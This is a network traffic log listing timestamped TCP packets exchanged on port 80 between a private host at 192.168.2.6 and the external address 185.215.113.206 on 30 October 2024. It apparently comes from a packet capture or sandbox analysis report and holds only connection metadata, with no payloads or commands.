Oct 30, 2024 04:34:46.955342054 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955352068 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955358982 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955364943 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955375910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955382109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955382109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955389023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955401897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955413103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955414057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955425024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955435991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955446005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955451012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955457926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955471039 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955470085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955487013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955497980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955513954 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955513954 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955595970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955806017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955817938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955828905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955840111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955851078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955856085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955859900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955873013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955883980 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955883980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955894947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955898046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955907106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.955912113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.955935001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956012964 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956202984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956214905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956226110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956238031 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956259966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956263065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956271887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956283092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956284046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956295967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956307888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956310034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956320047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956331968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956336021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956336021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956355095 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956439972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956522942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956535101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956545115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956557989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956568956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956579924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956582069 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956593990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956605911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956609011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956618071 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956620932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956633091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956645012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956653118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956657887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956657887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956665993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956676006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956684113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956684113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956686974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956693888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956700087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956708908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956716061 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956720114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956731081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956732035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956732988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956746101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956758022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956758022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956768990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956780910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956782103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956792116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956804037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956804991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956816912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.956830025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956830025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.956877947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957408905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957427025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957437992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957449913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957459927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957469940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957475901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957483053 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957494020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957504988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957513094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957513094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957518101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957530022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957540989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957551003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957555056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957561970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957572937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957581997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957581997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957587004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957598925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957608938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957612991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957622051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957634926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957645893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957650900 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957650900 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957658052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.957683086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.957705021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958322048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958333015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958343983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958355904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958367109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958369970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958378077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958389044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958400965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958405972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958405972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958420038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958441019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958450079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958457947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958465099 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958476067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958492994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958492994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958492994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958507061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958509922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958518028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.958547115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958547115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.958758116 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.034708977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.034722090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.034739017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.034867048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.034867048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.037461042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.037504911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.037522078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.037533998 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.037542105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.037545919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.037559986 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.037569046 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.037581921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.037592888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.037610054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.037635088 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.075881004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.075895071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.075906992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.075983047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.075994015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076004028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076014996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076051950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076052904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076052904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076052904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076065063 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076107025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076118946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076147079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076174021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076198101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076210022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076220989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076246977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076266050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076281071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076318026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076595068 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076632977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076644897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076648951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076698065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076721907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076733112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076760054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076781034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.076960087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076987982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.076998949 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077034950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077059984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077060938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077071905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077100992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077117920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077141047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077153921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077245951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077245951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077258110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077269077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077296019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077306032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077316046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077327967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077336073 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077336073 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077353001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077379942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077413082 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077454090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077480078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077491999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077502012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077512980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077516079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077524900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077531099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077537060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077553034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077580929 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077667952 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077680111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077717066 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077728987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077740908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077752113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077776909 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077794075 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077853918 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077864885 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077877045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077888966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.077894926 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077919960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077935934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.077991009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078001976 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078011036 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078022003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078032017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078032970 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078042030 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078072071 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078121901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078134060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078145027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078156948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078157902 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078185081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078219891 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078311920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078324080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078335047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078346014 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078356981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078358889 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078358889 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078380108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078404903 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078438044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078458071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078469992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078481913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078485012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078493118 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078515053 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078526974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078547001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078558922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078568935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078579903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078586102 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078594923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078619957 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078715086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078727007 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078736067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078747034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078757048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078763962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078771114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078782082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078804016 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078820944 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078892946 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078903913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078915119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078927994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078938007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078938961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.078959942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.078990936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079077959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079088926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079098940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079109907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079119921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079129934 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079134941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079142094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079170942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079209089 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079247952 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079277992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079289913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079301119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079319000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079330921 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079332113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079354048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079372883 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:47.079413891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079427004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079463005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079474926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079487085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:47.079497099 CET	80	50987	185.215.113.206	192.168.2.6
